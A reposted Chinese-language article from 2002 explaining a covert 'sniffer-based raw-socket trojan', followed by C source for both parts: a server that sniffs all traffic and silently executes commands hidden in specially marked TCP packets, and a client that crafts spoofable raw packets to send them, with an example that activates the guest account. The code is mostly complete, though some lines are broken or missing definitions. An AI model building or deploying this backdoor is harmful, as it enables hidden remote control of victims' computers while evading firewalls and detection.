文章作者:[email protected]
基于嗅探原理的原始套接字木马。
首先我们说说现有木马的特点和功能。早期木马一般都是基于TCP连接的,现在这种木马的生存能力
非常有限,因为直接基于连接的木马很容易被拦截或者发现。然后有通过改变协议来实现通讯隐藏的木马,
比如采用UDP或者ICMP或者其他协议的,当然,这些协议通常对于主机来说并不常用,所以很多安全配置
上就要求尽量禁止这些协议,比如禁止ICMP,让ICMP木马没有了生存机会。反向连接或者ACK木马等非常流
行,因为表现为不是直接的由外向内的TCP连接。
当然木马还更多发展在自身的隐藏上,比如注射、核心木马等。不过该方法的重点暂不是自身进程的
隐藏,而强调在通讯方式上。
这里讲的一种实现方式是:使用基于嗅探原理的原始套接字木马。它的基本实现是:服务器端是一个
sniffer和发包器,它将捕获指定特征的数据包。客户端是一个发包器和嗅探器,用来发送指定特征的数据
包并包括定义的命令以及接收server的数据。当server捕获到该指定特征的数据包时,变成激活状态,通
过分析该数据包,获得client发送的命令和client的IP地址,然后实现相应的命令,并将执行后的结果发
送回client,client的嗅探部分则接收相应的数据。所有的数据发送都是通过原始套接字(或相应)进行。
比如:我们设置特定的协议或者ACK或者其他位及其集合为特征。
该方式的优点:完全基于非连接状态,使用原始包进行通讯,不同协议有关,可使用任意协议,可采
用任意指定的数据包形式,可实现部分的隐藏地址(如果是非交换的局域网则是可以完全的隐藏地址)、
可实现无连接反向通讯、甚至能够突破一些防火墙的监视;
缺点:不是可靠的数据连接、不稳定地执行大数据传输,对于数据流量较大的SERVER,其sniffer的效
率占很重要的地位;
以下是一个简单的演示,看起来比较象一个后门。呵呵。麻雀虽小,五脏具全。
其中定义了一个简单的木马协议,基于TCP协议基础上,使用了SEQ位来判别而不基于端口,能够执行指定的命令。
定义部分:
2 #define SEQ_IDENTITY 12345 // 验证是否符合需要的SEQ值,这个值在正常包中不会有吧!
3 #define TROJAN_ID_IDENTITY 6789 // 验证是否符合需要的trojan_id值
4 #define LOCAL_PORT 1234 // 本地Port, 这个定义并没有实际意义
5 #define SERVER_PORT 80 // 服务端Port, 这个定义并没有实际意义
6
7 typedef struct ip_hdr // 定义IP首部
8 {
9 unsigned char h_verlen; // 4位首部长度,4位IP版本号
10 unsigned char tos; // 8位服务类型TOS
11 unsigned short total_len; // 16位总长度(字节)
12 unsigned short ident; // 16位标识
13 unsigned short frag_and_flags; // 3位标志位
14 unsigned char ttl; // 8位生存时间 TTL
15 unsigned char proto; // 8位协议 (TCP, UDP 或其他)
16 unsigned short checksum; // 16位IP首部校验和
17 unsigned int sourceIP; // 32位源IP地址
18 unsigned int destIP; // 32位目的IP地址
19 } IP_HEADER, * PIP_HEADER;
20
21 typedef struct psd_hdr // 定义TCP伪首部
22 {
23 unsigned long saddr; // 源地址
24 unsigned long daddr; // 目的地址
25 char mbz;
26 char ptcl; // 协议类型
27 unsigned short tcpl; // TCP长度
28 } PSD_HEADER;
29
30
31 typedef struct tcp_hdr // 定义TCP首部
32 {
33 unsigned short th_sport; // 16位源端口
34 unsigned short th_dport; // 16位目的端口
35 unsigned int th_seq; // 32位序列号
36 unsigned int th_ack; // 32位确认号
37 unsigned char th_lenres; // 4位首部长度/6位保留字
38 unsigned char th_flags; // 6位标志位
39 unsigned short th_win; // 16位窗口大小
40 unsigned short th_sum; // 16位校验和
41 unsigned short th_urp; // 16位紧急数据偏移量
42 } TCP_HEADER, * PTCP_HEADER;
43
44 typedef struct trojan_packet // 定义木马使用的协议
45 {
46 unsigned int trojan_id; // 木马数据包的标识,网络顺序
47 unsigned short trojan_len; // 执行的命令长度,主机顺序
48 } TROJAN_HEADER, * PTROJAN_HEADER;
49
50
51 /**/ /*
52 木马数据包的结构
53
54 -------------------------------------------------------------
55 | IP Header | TCP Header | Trojan Header | Trojan Command
56 -------------------------------------------------------------
57
58 包的最小程度是46字节
59 */
60
61 #pragma pack(pop)
62
63
64 SERVER部分的演示(Server.cpp):
65
66 /**/ ////////////////////////////////////////////////////////////////////////////// //
67 //
68 // SniffTrojan
69 //
70 // File : Server.cpp
71 // Comment : The Server model
72 //
73 // Created at : 2002.9.13
74 // Created by : Refdom
75 // Email : [email protected]
76 // Home Page : http://www.opengram.com/
77 //
78 // If you modify the code, or add more functions, please email me a copy.
79 //
80 /**/ ////////////////////////////////////////////////////////////////////////////// //
81
82 /**/ /*
83 木马数据包的结构
84
85 -------------------------------------------------------------
86 | IP Header | TCP Header | Trojan Header | Trojan Command
87 -------------------------------------------------------------
88
89 包的最小程度是46字节
90 */
91
92 /**/ //////////////////////////////////////////////// //
93
94 void Usage();
95
96 int SniffThread();
97
98 int SendThread();
99
100 int DecodeData( char * pBuffer);
101
102 unsigned long GetLocalIP();
103
104 /**/ //////////////////////////////////////////////// //
105
106 int main( int argc, char * argv[])
107 {
108 WSADATA WSAData;
109 int nRetCode = 0 ;
110
111 if (WSAStartup(MAKEWORD( 2 , 2 ), & WSAData) != 0 )
112 {
113 // WSAStartup Error!
114 printf( " WSAStartup Error!%d\n " , WSAGetLastError());
115 nRetCode = - 1 ;
116 return nRetCode;
117 }
118
119 // 开始嗅探数据
120 SniffThread();
121
122 // quit
123 WSACleanup();
124
125 return 0 ;
126 }
127
128 void Usage()
129 {
130 printf( " **************************************************\n " );
131 printf( " Demo For SniffTrojan\n\n " );
132 printf( " \t Written by Refdom\n " );
133 printf( " \t Email: [email protected] or [email protected]\n " );
134 printf( " \t Homepage: http://www.xfocus.org/ or http://www.opengram.com/n " );
135 printf( " **************************************************\n " );
136 }
137
138 int SniffThread()
139 {
140 int nRetCode = 0 ;
141 int nRecvBytes = 0 ;
142
143 char * pBuffer = NULL;
144
145 SOCKET nSock = INVALID_SOCKET;
146 SOCKADDR_IN addr_in;
147
148 DWORD dwBufferLen[ 10 ];
149 DWORD dwBufferInLen = 1 ;
150 DWORD dwBytesReturned = 0 ;
151
152 // define a raw socket
153 nSock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
154 if (INVALID_SOCKET == nSock)
155 {
156 nRetCode = - 1 ;
157 goto Exit0;
158 }
159
160 addr_in.sin_family = AF_INET;
161 addr_in.sin_port = INADDR_ANY;
162 addr_in.sin_addr.S_un.S_addr = GetLocalIP();
163
164 nRetCode = bind(nSock, ( struct sockaddr * ) & addr_in, sizeof (addr_in));
165 if (SOCKET_ERROR == nRetCode)
166 {
167 printf( " BIND Error!%d\n " , WSAGetLastError());
168 goto Exit0;
169 }
170
171 // socket for sniffer
172 nRetCode = WSAIoctl(nSock, SIO_RCVALL, & dwBufferInLen, sizeof (dwBufferInLen),
173 & dwBufferLen, sizeof (dwBufferLen), & dwBytesReturned , NULL , NULL );
174 if (SOCKET_ERROR == nRetCode)
175 {
176 printf( " WSAIOCTL Error!%d\n " , WSAGetLastError());
177 goto Exit0;
178 }
179
180 // start sniffing
181 pBuffer = ( char * )malloc(MAX_PACKET_SIZE);
182 while ( 1 )
183 {
184 memset(pBuffer, 0 , MAX_PACKET_SIZE);
185
186 nRecvBytes = recv(nSock, pBuffer, MAX_PACKET_SIZE, 0 );
187 if (SOCKET_ERROR == nRetCode)
188 {
189 printf( " RECV Error!%d\n " , WSAGetLastError());
190 goto Exit0;
191 }
192
193 if (nRecvBytes < 46 )
194 continue ;
195
196 DecodeData(pBuffer); // 数据解码
197
198 }
199
200 Exit0:
201
202 if (pBuffer != NULL)
203 free(pBuffer);
204
205 if (nSock != INVALID_SOCKET)
206 closesocket(nSock);
207
208 return nRetCode;
209 }
210
211 // 获取本地IP地址
212 unsigned long GetLocalIP()
213 {
214 char szLocalIP[ 20 ] = ;
215 char szHostName[ 128 + 1 ] = "" ;
216 hostent * phe;
217 int i;
218 if ( gethostname(szHostName, 128 ) == 0 ) {
219 // Get host adresses
220 phe = gethostbyname(szHostName);
221 for ( i = 0 ; phe != NULL && phe -> h_addr_list != NULL; i ++ )
222 {
223 sprintf(szLocalIP, " %d.%d.%d.%d " ,
224 (UINT)((UCHAR * )phe -> h_addr_list)[ 0 ],
225 (UINT)((UCHAR * )phe -> h_addr_list)[ 1 ],
226 (UINT)((UCHAR * )phe -> h_addr_list)[ 2 ],
227 (UINT)((UCHAR * )phe -> h_addr_list)[ 3 ]);
228 }
229 }
230 else
231 return 0 ;
232
233 return inet_addr(szLocalIP);
234 }
235
236
237 int DecodeData( char * pBuffer)
238 {
239 int nRetCode = 0 ;
240 char * pCommand = NULL;
241 unsigned short usCmdLength = 0 ;
242
243 PIP_HEADER pIPHeader = NULL;
244 PTCP_HEADER pTCPHeader = NULL;
245 PTROJAN_HEADER pTrojanHeader = NULL;
246
247 pIPHeader = (PIP_HEADER)pBuffer;
248
249 // 只取TCP包
250 if (pIPHeader -> proto != IPPROTO_TCP)
251 goto Exit0;
252
253 pTCPHeader = (PTCP_HEADER)(pBuffer + sizeof (IP_HEADER));
254
255 // 验证该TCP包是否其SEQ值符合需要
256 if (ntohs(pTCPHeader -> th_seq) != SEQ_IDENTITY)
257 goto Exit0;
258
259 pTrojanHeader = (PTROJAN_HEADER)(pBuffer + sizeof (IP_HEADER) + sizeof (TCP_HEADER));
260
261 // 验证该TCP包是否是合法的木马包
262 if (ntohs(pTrojanHeader -> trojan_id) != TROJAN_ID_IDENTITY)
263 goto Exit0;
264
265 usCmdLength = pTrojanHeader -> trojan_len; // 获得命令的长度
266
267 if ( 0 == usCmdLength)
268 goto Exit0;
269
270 printf( " OK!\n " );
271
272 pCommand = ( char * )malloc(usCmdLength + 1 );
273 memset(pCommand, 0 , usCmdLength + 1 );
274
275 memcpy(pCommand, pBuffer + sizeof (IP_HEADER) + sizeof (TCP_HEADER) + sizeof (TROJAN_HEADER), usCmdLength);
276
277 nRetCode = WinExec(pCommand, SW_HIDE); // 执行命令
278 if (nRetCode > 31 )
279 {
280 // WinExec Successfully!
281 }
282
283 Exit0:
284
285 return nRetCode;
286 }
287
288
289 控制端的演示(Client.cpp):
290
291
292 /**/ //////////////////////////////////////////////// //
293 void Usage()
294 {
295 printf( " **************************************************\n " );
296 printf( " Demo For SniffTrojan\n\n " );
297 printf( " \t Written by Refdom\n " );
298 printf( " \t Email: [email protected] or [email protected]\n " );
299 printf( " \t Homepage: http://www.xfocus.org/ or http://www.opengram.com/n " );
300 printf( " Usage: Client.exe ServerIP Command\n " );
301 printf( " eg:Client.exe 192.168.0.2 \ " net user guest / active\ " \n " );
302 printf( " **************************************************\n " );
303 }
304 /**/ //////////////////////////////////////////////// //
305
306 int main( int argc, char * argv[])
307 {
308 int nRetCode = 0 , nCommandLength = 0 ;
309 char szDataBuf[MAX_PACKET_SIZE] = ;
310 char * pCommand = NULL;
311
312 BOOL bOption;
313 WSADATA WSAData;
314 SOCKET nSock = INVALID_SOCKET;
315 SOCKADDR_IN addr_in;
316
317 IP_HEADER IP_Header;
318 TCP_HEADER TCP_Header;
319 PSD_HEADER PSD_Header;
320 TROJAN_HEADER Trojan_Header;
321
322 Usage();
323
324 if (argc != 3 )
325 {
326 printf( " \nArguments Error!\n " );
327 return - 1 ;
328 }
329
330 // 获得需要执行的命令
331 nCommandLength = strlen(argv[ 2 ]);
332 pCommand = ( char * )malloc(nCommandLength + 2 );
333 memset(pCommand, 0 , nCommandLength + 2 );
334 memcpy(pCommand, argv[ 2 ], nCommandLength);
335
336
337 if (WSAStartup(MAKEWORD( 2 , 2 ), & WSAData) != 0 )
338 {
339 // WSAStartup Error!
340 printf( " WSAStartup Error!%d\n " , WSAGetLastError());
341 nRetCode = - 1 ;
342 return nRetCode;
343 }
344
345 nSock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
346 if (INVALID_SOCKET == nSock)
347 {
348 printf( " SOCKET Error!%d\n " , WSAGetLastError());
349 goto Exit0;
350 }
351
352 nRetCode = setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, ( char * ) & bOption, sizeof (bOption));
353 if (SOCKET_ERROR == nRetCode)
354 {
355 printf( " SetSockOpt Error!%d\n " , WSAGetLastError());
356 goto Exit0;
357 }
358
359 // 填充IP首部
360 IP_Header.h_verlen = ( 4 << 4 ) | ( sizeof (IP_HEADER) / sizeof (unsigned long ));
361 IP_Header.tos = 0 ;
362 IP_Header.total_len = htons( sizeof (IP_HEADER) + sizeof (TCP_HEADER));
363 IP_Header.frag_and_flags = 0 ;
364 IP_Header.ttl = 128 ;
365 IP_Header.proto = IPPROTO_TCP;
366 IP_Header.checksum = 0 ;
367 IP_Header.sourceIP = GetLocalIP(); // 当然可以伪造自己的地址
368 IP_Header.destIP = inet_addr(argv[ 1 ]); // 服务器端IP地址,如果是非交换网络,那么可以不是服务器的地址,而设置一个同网
369
370 段或者同HUB的地址。
371
372 // 填充TCP首部
373 TCP_Header.th_sport = htons(LOCAL_PORT); // 这个端口没有实际意义,倒是可以躲开防火墙
374 TCP_Header.th_dport = htons(SERVER_PORT); // 这个端口没有实际意义,倒是可以躲开防火墙
375 TCP_Header.th_seq = htons(SEQ_IDENTITY); // 木马服务器端的识别标志
376 TCP_Header.th_ack = 345678 ;
377 TCP_Header.th_lenres = ( sizeof (TCP_HEADER) / 4 << 4 | 0 );
378 TCP_Header.th_flags = 0x01 ; // 随意设置TCP标志位
379 TCP_Header.th_win = 12345 ;
380 TCP_Header.th_urp = 0 ;
381 TCP_Header.th_sum = 0 ;
382
383 // 填充木马协议的头部
384 Trojan_Header.trojan_id = htons(TROJAN_ID_IDENTITY);
385 Trojan_Header.trojan_len = nCommandLength;
386
387 // 填充TCP伪首部(用于计算校验和)
388 PSD_Header.saddr = IP_Header.sourceIP;
389 PSD_Header.daddr = IP_Header.destIP;
390 PSD_Header.mbz = 0 ;
391 PSD_Header.ptcl = IPPROTO_TCP;
392 PSD_Header.tcpl = htons( sizeof (TCP_HEADER) + sizeof (TROJAN_HEADER) + nCommandLength);
393
394 // 计算TCP校验和
395 memcpy(szDataBuf, & PSD_Header, sizeof (PSD_HEADER));
396 memcpy(szDataBuf + sizeof (PSD_HEADER), & TCP_Header, sizeof (TCP_HEADER));
397 memcpy(szDataBuf + sizeof (PSD_HEADER) + sizeof (TCP_HEADER), & Trojan_Header, sizeof (TROJAN_HEADER));
398 memcpy(szDataBuf + sizeof (PSD_HEADER) + sizeof (TCP_HEADER) + sizeof (TROJAN_HEADER), pCommand, nCommandLength);
399 TCP_Header.th_sum = CheckSum((unsigned short * )szDataBuf, sizeof (PSD_HEADER) + sizeof (TCP_HEADER) +
400
401 sizeof (TROJAN_HEADER) + nCommandLength);
402
403 // 填充发送缓冲区
404 memcpy(szDataBuf, & IP_Header, sizeof (IP_HEADER));
405 memcpy(szDataBuf + sizeof (IP_HEADER), & TCP_Header, sizeof (TCP_HEADER));
406 memcpy(szDataBuf + sizeof (IP_HEADER) + sizeof (TCP_HEADER), & Trojan_Header, sizeof (TROJAN_HEADER));
407 memcpy(szDataBuf + sizeof (IP_HEADER) + sizeof (TCP_HEADER) + sizeof (TROJAN_HEADER), pCommand, nCommandLength);
408
409 addr_in.sin_family = AF_INET;
410 addr_in.sin_port = htons(LOCAL_PORT);
411 addr_in.sin_addr.S_un.S_addr = inet_addr(argv[ 1 ]);
412
413 // 发送命令
414 printf( " Start to send command\n " );
415 nRetCode = sendto(nSock, szDataBuf,
416 sizeof (IP_HEADER) + sizeof (TCP_HEADER) + sizeof (TROJAN_HEADER) + nCommandLength,
417 0 , ( struct sockaddr * ) & addr_in, sizeof (addr_in));
418 if (SOCKET_ERROR == nRetCode)
419 {
420 printf( " Sendto Error!%d\n " , WSAGetLastError());
421 goto Exit0;
422 }
423
424 printf( " Send OK!\n " );
425
426
427 Exit0:
428
429 if (pCommand != NULL)
430 free(pCommand);
431
432 if (nSock != INVALID_SOCKET)
433 closesocket(nSock);
434
435 WSACleanup();
436
437 return 0 ;
438 }
439
440
2002年的文章 现在还在传 算了 冰血封情还是发吧
地震让大伙知道:居安思危,才是生存之道。